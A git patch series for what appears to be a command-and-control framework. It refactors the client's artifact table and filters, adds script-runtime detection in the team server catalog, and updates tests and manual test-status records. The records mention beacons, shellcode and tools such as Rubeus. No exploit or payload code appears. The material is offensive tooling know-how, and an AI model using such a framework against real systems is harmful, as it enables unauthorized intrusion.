0 -COL_SCOPE = 1 -COL_TARGET = 2 -COL_NAME = 3 -COL_PLATFORM = 4 -COL_ARCH = 5 -COL_RUNTIME = 6 -COL_FORMAT = 7 -COL_SIZE = 8 -COL_SHA256 = 9 -COL_SOURCE = 10 +COL_NAME = 1 +COL_PLATFORM = 2 +COL_ARCH = 3 +COL_RUNTIME = 4 +COL_FORMAT = 5 +COL_SIZE = 6 +COL_SHA256 = 7 +COL_SOURCE = 8 def _text(value: Any) -> str: @@ -96,7 +92,7 @@ def _upload_filter_value(value: str, allowed: set[str]) -> str: class Artifacts(QWidget): - COLUMN_WIDTHS = [82, 92, 92, 220, 86, 66, 92, 70, 86, 112, 88] + COLUMN_WIDTHS = [82, 240, 86, 66, 96, 70, 86, 112, 88] STRETCH_COLUMN = COL_NAME def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: @@ -113,8 +109,6 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: toolbar.setSpacing(6) self.categoryFilter = self.createFilter(CATEGORY_FILTERS, "Filter by artifact category.") - self.scopeFilter = self.createFilter(SCOPE_FILTERS, "Filter by artifact scope.") - self.targetFilter = self.createFilter(TARGET_FILTERS, "Filter by execution or ownership target.") self.platformFilter = self.createFilter(PLATFORM_FILTERS, "Filter by target platform.") self.archFilter = self.createFilter(ARCH_FILTERS, "Filter by target architecture.") self.runtimeFilter = self.createFilter(RUNTIME_FILTERS, "Filter by runtime or file family.") @@ -136,10 +130,6 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: toolbar.addWidget(QLabel("Category")) toolbar.addWidget(self.categoryFilter) - toolbar.addWidget(QLabel("Scope")) - toolbar.addWidget(self.scopeFilter) - toolbar.addWidget(QLabel("Target")) - toolbar.addWidget(self.targetFilter) toolbar.addWidget(QLabel("Platform")) toolbar.addWidget(self.platformFilter) toolbar.addWidget(QLabel("Arch")) @@ -166,7 +156,7 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: self.artifactTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) self.artifactTable.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) self.artifactTable.setRowCount(0) - self.artifactTable.setColumnCount(11) + self.artifactTable.setColumnCount(len(self.COLUMN_WIDTHS)) self.artifactTable.verticalHeader().setVisible(False) self.artifactTable.itemSelectionChanged.connect(self.updateActionButtons) self.configureTableColumns() @@ -205,8 +195,6 @@ def configureTableColumns(self) -> None: def connectFilterSignals(self) -> None: for combo in ( self.categoryFilter, - self.scopeFilter, - self.targetFilter, self.platformFilter, self.archFilter, self.runtimeFilter, @@ -220,10 +208,6 @@ def buildQuery(self) -> Any: if category != ALL_FILTER: query.category = category - scope = self.scopeFilter.currentText() - if scope != ALL_FILTER: - query.scope = scope - platform = self.platformFilter.currentText() if platform != ALL_FILTER: query.platform = platform @@ -232,10 +216,6 @@ def buildQuery(self) -> Any: if arch != ALL_FILTER: query.arch = arch - target = self.targetFilter.currentText() - if target != ALL_FILTER: - query.target = target - runtime = self.runtimeFilter.currentText() if runtime != ALL_FILTER: query.runtime = runtime @@ -269,7 +249,7 @@ def refreshArtifacts(self) -> None: def printArtifacts(self) -> None: self.artifactTable.setRowCount(len(self.artifacts)) self.artifactTable.setHorizontalHeaderLabels( - ["Category", "Scope", "Target", "Name", "Platform", "Arch", "Runtime", "Format", "Size", "SHA256", "Source"] + ["Category", "Name", "Platform", "Arch", "Runtime", "Format", "Size", "SHA256", "Source"] ) for row, artifact in enumerate(self.artifacts): @@ -281,8 +261,6 @@ def printArtifacts(self) -> None: values = [ _text(_field(artifact, "category")), - _text(_field(artifact, "scope")), - _text(_field(artifact, "target")), name, _text(_field(artifact, "platform")), _text(_field(artifact, "arch")), @@ -298,8 +276,6 @@ def printArtifacts(self) -> None: f"Artifact ID: {artifact_id}" if artifact_id else "", f"Name: {name}" if name else "", f"Display: {display_name}" if display_name and display_name != name else "", - f"Scope: {_text(_field(artifact, 'scope'))}" if _text(_field(artifact, "scope")) else "", - f"Target: {_text(_field(artifact, 'target'))}" if _text(_field(artifact, "target")) else "", f"Source: {_text(_field(artifact, 'source'))}" if _text(_field(artifact, "source")) else "", f"Size: {format_size(_field(artifact, 'size', 0))}", f"SHA256: {full_hash}" if full_hash else "", diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py index 0195086..9201979 100644 --- a/C2Client/tests/test_artifact_panel.py +++ b/C2Client/tests/test_artifact_panel.py @@ -87,6 +87,8 @@ def matches(artifact, field): if not expected: return True actual = getattr(artifact, field, "") + if field == "runtime": + return actual == expected return actual == expected or actual == "any" def name_matches(artifact): @@ -178,20 +180,21 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): assert panel.categoryFilter.findText("minidump") != -1 assert panel.categoryFilter.findText("screenshot") != -1 assert panel.categoryFilter.findText("hosted") != -1 + assert not hasattr(panel, "scopeFilter") + assert not hasattr(panel, "targetFilter") + assert panel.platformFilter.findText("any") == -1 + assert panel.archFilter.findText("any") == -1 + assert panel.runtimeFilter.findText("any") == -1 assert panel.isDeletableArtifact(SimpleNamespace(category="hosted", scope="generated")) assert panel.artifactTable.rowCount() == 4 assert panel.artifactTable.item(0, 0).text() == "module" - assert panel.artifactTable.item(0, 1).text() == "beacon" - assert panel.artifactTable.item(0, 2).text() == "beacon" - assert panel.artifactTable.item(0, 3).text() == "winmod64.dll" - assert panel.artifactTable.item(0, 6).text() == "native" - assert panel.artifactTable.item(0, 8).text() == "2.0 KB" - assert panel.artifactTable.item(0, 9).text() == "aaaaaaaaaaaa" - assert "Artifact ID: artifact-module-1" in panel.artifactTable.item(0, 3).toolTip() + assert panel.artifactTable.item(0, 1).text() == "winmod64.dll" + assert panel.artifactTable.item(0, 4).text() == "native" + assert panel.artifactTable.item(0, 6).text() == "2.0 KB" + assert panel.artifactTable.item(0, 7).text() == "aaaaaaaaaaaa" + assert "Artifact ID: artifact-module-1" in panel.artifactTable.item(0, 1).toolTip() panel.categoryFilter.setCurrentText("module") - panel.scopeFilter.setCurrentText("beacon") - panel.targetFilter.setCurrentText("beacon") panel.platformFilter.setCurrentText("windows") panel.archFilter.setCurrentText("x64") panel.runtimeFilter.setCurrentText("native") @@ -200,8 +203,8 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): query = grpc.queries[-1] assert query.category == "module" - assert query.scope == "beacon" - assert query.target == "beacon" + assert query.scope == "" + assert query.target == "" assert query.platform == "windows" assert query.arch == "x64" assert query.runtime == "native" @@ -223,17 +226,16 @@ def test_artifacts_panel_filters_on_selection_and_deletes_generated(qtbot, monke assert not hasattr(panel, "generatedButton") panel.categoryFilter.setCurrentText("payload") - panel.scopeFilter.setCurrentText("generated") panel.runtimeFilter.setCurrentText("shellcode") query = grpc.queries[-1] assert query.category == "payload" - assert query.scope == "generated" + assert query.scope == "" assert query.runtime == "shellcode" assert panel.artifactTable.rowCount() == 1 - assert panel.artifactTable.item(0, 1).text() == "generated" - assert panel.artifactTable.item(0, 10).text() == "donut" - assert "SHA256: " + ("c" * 64) in panel.artifactTable.item(0, 3).toolTip() + assert panel.artifactTable.item(0, 1).text() == "9d4c1e5f0a3b-Rubeus.exe.bin" + assert panel.artifactTable.item(0, 8).text() == "donut" + assert "SHA256: " + ("c" * 64) in panel.artifactTable.item(0, 1).toolTip() monkeypatch.setattr( QMessageBox, @@ -297,7 +299,7 @@ def test_artifacts_panel_deletes_uploaded_artifacts(qtbot, monkeypatch): panel.categoryFilter.setCurrentText("upload") assert panel.artifactTable.rowCount() == 1 - assert panel.artifactTable.item(0, 1).text() == "operator" + assert panel.artifactTable.item(0, 1).text() == "operator-note.txt" monkeypatch.setattr( QMessageBox, diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index d5ee70a..9130004 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -462,7 +462,7 @@ def listArtifacts(self, query): target="beacon", platform="session.platform", arch="", - runtime="script", + runtime="", name_contains="", ) powershell_filter = SimpleNamespace( @@ -471,7 +471,7 @@ def listArtifacts(self, query): target="beacon", platform="windows", arch="", - runtime="script", + runtime="powershell", name_contains=".ps1", ) script_spec = SimpleNamespace( diff --git a/core b/core index 6eb062b..9479cad 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 6eb062b57af81400d5facbe166af024e767abb3c +Subproject commit 9479cadaba9dc1e2aab247758ffd28189c4e9641 diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 91f0c40..6dc4e04 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -5,9 +5,7 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | |---|---|---|---|---|---|---|---| | blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | -| partial | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | Release scripts place files under the canonical data layout with platform and arch subfolders. | pass | untested | | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | -| partial | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs. | pass | untested | | partial | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages. | pass | untested | | partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | | partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 5b2af03..4504279 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -5,7 +5,7 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Validation | Priority | ID | Area | Feature | OS | Arch | Listener | Artifact | Auto | Manual | |---|---|---|---|---|---|---|---|---|---|---|---| | pass | auto+manual | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | teamserver | any | n/a | generated | pass | pass | -| partial | auto+manual | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | teamserver | any | n/a | any | pass | untested | +| pass | auto+manual | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | teamserver | any | n/a | any | pass | pass | | pass | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | pass | pass | | partial | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | pass | untested | | pass | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | pass | pass | @@ -110,7 +110,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | pass | pass | | partial | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | pass | untested | | pass | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | pass | pass | -| partial | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | pass | untested | +| pass | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | pass | pass | | partial | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | pass | untested | | partial | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | pass | untested | | pass | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | pass | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index f0846f0..8484070 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,10 +10,10 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 43 | +| pass | 45 | | fail | 0 | | blocked | 1 | -| partial | 60 | +| partial | 58 | | untested | 7 | | planned | 2 | @@ -30,14 +30,14 @@ _Generated by `scripts/generate-test-state.py`._ | Area | Pass | Fail | Blocked | Partial | Untested | Planned | Total | |---|---:|---:|---:|---:|---:|---:|---:| -| Artifacts | 3 | 0 | 0 | 2 | 0 | 0 | 5 | +| Artifacts | 4 | 0 | 0 | 1 | 0 | 0 | 5 | | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | | C2Client | 10 | 0 | 0 | 10 | 0 | 1 | 21 | | CommonCommands | 4 | 0 | 0 | 3 | 0 | 0 | 7 | | Listeners | 1 | 0 | 0 | 1 | 4 | 0 | 6 | | Modules | 12 | 0 | 0 | 39 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | -| TeamServer | 8 | 0 | 0 | 4 | 0 | 0 | 12 | +| TeamServer | 9 | 0 | 0 | 3 | 0 | 0 | 12 | | Validation | 0 | 0 | 0 | 1 | 2 | 0 | 3 | ## Critical Non-Pass @@ -45,9 +45,7 @@ _Generated by `scripts/generate-test-state.py`._ | Final | ID | Area | Feature | Auto | Manual | |---|---|---|---|---|---| | blocked | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | blocked | -| partial | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | pass | untested | | partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | -| partial | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | pass | untested | | partial | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | pass | untested | | untested | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | n/a | untested | | untested | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | n/a | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 76f254d..49f97f9 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -113,6 +113,22 @@ results: evidence: "Validated listModule, loadModule ls, loadModule cd, duplicate loadModule ls rejection, cd ., ls, sleep 0.01, and listModule on an active beacon. listenerPoll heartbeat no longer creates noisy task-result logs after starting a beacon-side TCP listener." notes: "Covers command queueing, duplicate module tracking, result routing, sleep command result, module list state, and child listener heartbeat handling." + - id: TEAMSERVER-CONFIG-DIRECTORIES-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Release/runtime directory paths were checked after the layout normalization and are present in the expected locations." + notes: "Validated TeamServer runtime directory layout for artifact roots, tools, scripts, beacons, modules, and command specs." + + - id: ARTIFACT-LAYOUT-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Canonical artifact paths were checked and are OK, including generated/hosted, uploaded, tools, scripts, beacons, modules, and command specs." + notes: "Manual path validation complements catalog/runtime automated checks." + - id: COMMON-LOADMODULE-001 status: pass date: "2026-05-07" @@ -321,6 +337,14 @@ results: evidence: "A beacon left inactive for more than 5 minutes moved to stale state in the client." notes: "Manual validation confirms the stale transition path. Reconnect transition can be covered separately if needed." + - id: VALIDATION-ERROR-HANDLING-001 + status: untested + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Validated clear errors for missing module, duplicate loadModule, missing upload artifact, missing download args, missing upload args, missing Donut source for assemblyExec/inject, missing script artifact for powershell, and Windows-only pwSh on Linux." + notes: "Keep final status partial until listener start tcp invalid-port rejection is retested with a rebuilt beacon. TeamServer-side validation now rejects non-numeric, zero, and out-of-range ports." + - id: RELEASE-WINDOWS-ARTIFACTS-001 status: blocked date: "2026-05-07" diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 216d2da..5ad1a78 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -59,7 +59,7 @@ bool matchesQuery(const TeamServerArtifactRecord& artifact, const TeamServerArti && matchesExact(query.target, artifact.target) && matchesExactOrAny(query.platform, artifact.platform) && matchesExactOrAny(query.arch, artifact.arch) - && matchesExactOrAny(query.runtime, artifact.runtime) + && matchesExact(query.runtime, artifact.runtime) && matchesExact(query.format, artifact.format) && containsCaseInsensitive(artifact.name, query.nameContains); } @@ -190,6 +190,27 @@ std::string detectFormat(const fs::path& path) return extension; } +std::string detectScriptRuntime(const fs::path& path) +{ + const std::string format = detectFormat(path); + if (format == "ps1") + return "powershell"; + if (format == "py") + return "python"; + if (format == "sh") + return "shell"; + if (format == "bat" || format == "cmd") + return "cmd"; + return "script"; +} + +std::string resolveRuntime(const std::string& category, const std::string& runtime, const fs::path& path) +{ + if (category == "script" && runtime == "script") + return detectScriptRuntime(path); + return runtime; +} + std::string sanitizeArtifactName(std::string value) { value = fs::path(value).filename().string(); @@ -293,7 +314,7 @@ void collectDirectoryArtifacts( artifact.platform = platform; artifact.arch = arch; artifact.format = detectFormat(path); - artifact.runtime = runtime; + artifact.runtime = resolveRuntime(category, runtime, path); artifact.source = source; artifact.sha256 = contentHash; artifact.internalPath = path.string(); diff --git a/teamServer/teamServer/TeamServerFileArtifactService.cpp b/teamServer/teamServer/TeamServerFileArtifactService.cpp index 406cb12..47cc651 100644 --- a/teamServer/teamServer/TeamServerFileArtifactService.cpp +++ b/teamServer/teamServer/TeamServerFileArtifactService.cpp @@ -230,7 +230,6 @@ TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveScriptArti query.target = "beacon"; query.platform = platformName(isWindows); query.arch = normalizeArch(isWindows, arch, m_runtimeConfig); - query.runtime = "script"; TeamServerArtifactCatalog catalog(m_runtimeConfig); const std::vector artifacts = catalog.listArtifacts(query); diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp index 500ca2a..a20ad20 100644 --- a/teamServer/tests/TeamServerArtifactCatalogTests.cpp +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -116,6 +116,7 @@ void seedArtifacts(const TeamServerRuntimeConfig& runtimeConfig) writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "x64" / "BeaconHttp.exe", "windows-beacon-x64"); writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "batcave.zip", "tool-archive"); writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "startup.ps1", "script"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Linux" / "startup.py", "script"); writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / ".ignored.ps1", "hidden-script"); writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator-note.txt", "upload"); writeFile(fs::path(runtimeConfig.hostedArtifactsDirectoryPath) / "payload.bin", "hosted-file"); @@ -150,7 +151,7 @@ void testCatalogIndexesReleaseRoots() TeamServerArtifactCatalog catalog(runtimeConfig); const std::vector artifacts = catalog.listArtifacts(); - assert(artifacts.size() == 10); + assert(artifacts.size() == 11); assert(findArtifact(artifacts, ".ignored.ps1", "script", "windows", "any") == nullptr); const TeamServerArtifactRecord* windowsModule = findArtifact(artifacts, "winmod64.dll", "module", "windows", "x64"); @@ -176,7 +177,12 @@ void testCatalogIndexesReleaseRoots() assert(script->scope == "server"); assert(script->target == "beacon"); assert(script->format == "ps1"); - assert(script->runtime == "script"); + assert(script->runtime == "powershell"); + + const TeamServerArtifactRecord* pythonScript = findArtifact(artifacts, "startup.py", "script", "linux", "any"); + assert(pythonScript != nullptr); + assert(pythonScript->format == "py"); + assert(pythonScript->runtime == "python"); const TeamServerArtifactRecord* upload = findArtifact(artifacts, "operator-note.txt", "upload", "any", "any"); assert(upload != nullptr); @@ -246,6 +252,13 @@ void testCatalogFiltersArtifacts() artifacts = catalog.listArtifacts(hostedFiles); assert(artifacts.size() == 1); assert(artifacts[0].name == "payload.bin"); + + TeamServerArtifactQuery pythonScripts; + pythonScripts.category = "script"; + pythonScripts.runtime = "python"; + artifacts = catalog.listArtifacts(pythonScripts); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "startup.py"); } void testCatalogIndexesAndDeletesGeneratedArtifacts() @@ -351,6 +364,7 @@ void testArtifactServiceStreamsPublicMetadataOnly() teamserverapi::ArtifactQuery query; query.set_category("script"); + query.set_runtime("powershell"); std::vector summaries; assert(service.listArtifacts(query, [&](const teamserverapi::ArtifactSummary& artifact) { @@ -363,7 +377,7 @@ void testArtifactServiceStreamsPublicMetadataOnly() assert(summaries[0].category() == "script"); assert(summaries[0].scope() == "server"); assert(summaries[0].target() == "beacon"); - assert(summaries[0].runtime() == "script"); + assert(summaries[0].runtime() == "powershell"); assert(summaries[0].sha256().size() == 64); assert(summaries[0].DebugString().find(tempRoot.path().string()) == std::string::npos); } From 99edb7a8941325bc6c3b56090aa610e2515fc066 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 19:51:55 +0200 Subject: [PATCH 57/82] manual test --- C2Client/tests/test_console_panel.py | 6 ++- core | 2 +- docs/TEST_GAPS.md | 1 - docs/TEST_MATRIX.md | 2 +- docs/TEST_STATE.md | 7 ++- docs/testing/manual-results.yaml | 8 +++ .../teamServer/TeamServerArtifactCatalog.cpp | 10 ++++ .../TeamServerFileArtifactService.cpp | 54 ++++++++++++------- .../tests/TeamServerArtifactCatalogTests.cpp | 15 +++++- ...amServerCommandPreparationServiceTests.cpp | 13 +++++ 10 files changed, 90 insertions(+), 28 deletions(-) diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 9130004..c12f689 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -378,7 +378,7 @@ def listArtifacts(self, query): target="beacon", platform="session.platform", arch="session.arch", - runtime="file", + runtime="", name_contains="", ), ), @@ -387,12 +387,14 @@ def listArtifacts(self, query): ) session = SimpleNamespace(os="Windows 11", arch="x64") - server_data = command_specs_to_completer_data([upload_spec], grpcClient=FakeGrpc(), session=session) + grpc = FakeGrpc() + server_data = command_specs_to_completer_data([upload_spec], grpcClient=grpc, session=session) upload_children = _completion_children(server_data, "upload") assert ("operator/tool.exe", []) in upload_children assert ("tool.exe", []) in upload_children assert ("notes.txt", []) in upload_children + assert grpc.queries[0].runtime == "" def test_command_arg_can_use_multiple_artifact_filters(): diff --git a/core b/core index 9479cad..c234245 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 9479cadaba9dc1e2aab247758ffd28189c4e9641 +Subproject commit c2342450207ae3503e111c23ae65c7aae580ba54 diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 6dc4e04..b139543 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -64,7 +64,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | untested | | partial | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | pass | untested | | untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | -| untested | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | End-to-end Linux x64 HTTPS validation: connect, run commands, upload/download, script, and module lifecycle. | n/a | untested | | untested | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | End-to-end Windows x64 HTTPS validation: connect, load module, run commands, use artifacts, generate output, host artifact. | n/a | untested | | untested | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | Start listener, register beacon, and exchange simple command results. | n/a | untested | | untested | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 4504279..a3ee21e 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -115,5 +115,5 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | pass | untested | | pass | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | pass | pass | | partial | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | pass | untested | -| untested | manual | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | linux | x64 | https | any | n/a | untested | +| pass | manual | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | linux | x64 | https | any | n/a | pass | | untested | manual | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | windows | x64 | https | any | n/a | untested | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 8484070..60fdd75 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,11 +10,11 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 45 | +| pass | 46 | | fail | 0 | | blocked | 1 | | partial | 58 | -| untested | 7 | +| untested | 6 | | planned | 2 | ## Validation Modes @@ -38,7 +38,7 @@ _Generated by `scripts/generate-test-state.py`._ | Modules | 12 | 0 | 0 | 39 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | | TeamServer | 9 | 0 | 0 | 3 | 0 | 0 | 12 | -| Validation | 0 | 0 | 0 | 1 | 2 | 0 | 3 | +| Validation | 1 | 0 | 0 | 1 | 1 | 0 | 3 | ## Critical Non-Pass @@ -48,5 +48,4 @@ _Generated by `scripts/generate-test-state.py`._ | partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | | partial | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | pass | untested | | untested | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | n/a | untested | -| untested | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | n/a | untested | | untested | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | n/a | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 49f97f9..9456d2e 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -337,6 +337,14 @@ results: evidence: "A beacon left inactive for more than 5 minutes moved to stale state in the client." notes: "Manual validation confirms the stale transition path. Reconnect transition can be covered separately if needed." + - id: VALIDATION-GOLDEN-PATH-LINUX-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Linux HTTPS beacon completed listModule, loadModule ls/cd/cat/upload/download/script, cd, ls, upload of an UploadedArtifacts file to /tmp/c2-upload-test.txt, cat of the uploaded file, download back into GeneratedArtifacts, listModule state validation, and script testScript.sh from UploadedArtifacts after the runtime-by-extension fix." + notes: "Validated Linux x64 happy path including UploadedArtifacts-backed script execution." + - id: VALIDATION-ERROR-HANDLING-001 status: untested date: "2026-05-08" diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 5ad1a78..39c6e25 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -204,10 +204,20 @@ std::string detectScriptRuntime(const fs::path& path) return "script"; } +std::string detectUploadRuntime(const fs::path& path) +{ + const std::string scriptRuntime = detectScriptRuntime(path); + if (scriptRuntime != "script") + return scriptRuntime; + return "file"; +} + std::string resolveRuntime(const std::string& category, const std::string& runtime, const fs::path& path) { if (category == "script" && runtime == "script") return detectScriptRuntime(path); + if (category == "upload" && runtime == "file") + return detectUploadRuntime(path); return runtime; } diff --git a/teamServer/teamServer/TeamServerFileArtifactService.cpp b/teamServer/teamServer/TeamServerFileArtifactService.cpp index 47cc651..020b171 100644 --- a/teamServer/teamServer/TeamServerFileArtifactService.cpp +++ b/teamServer/teamServer/TeamServerFileArtifactService.cpp @@ -109,6 +109,22 @@ bool matchesSelector(const TeamServerArtifactRecord& artifact, const std::string || toLower(basename(artifact.displayName)) == loweredSelector; } +const TeamServerArtifactRecord* findMatchingArtifact( + const std::vector& artifacts, + const std::string& selector) +{ + const auto artifact = std::find_if( + artifacts.begin(), + artifacts.end(), + [&](const TeamServerArtifactRecord& candidate) + { + return matchesSelector(candidate, selector); + }); + if (artifact == artifacts.end()) + return nullptr; + return &(*artifact); +} + fs::path pendingPathFor(const std::string& artifactPath) { return fs::path(artifactPath + PendingDownloadSuffix); @@ -178,19 +194,12 @@ 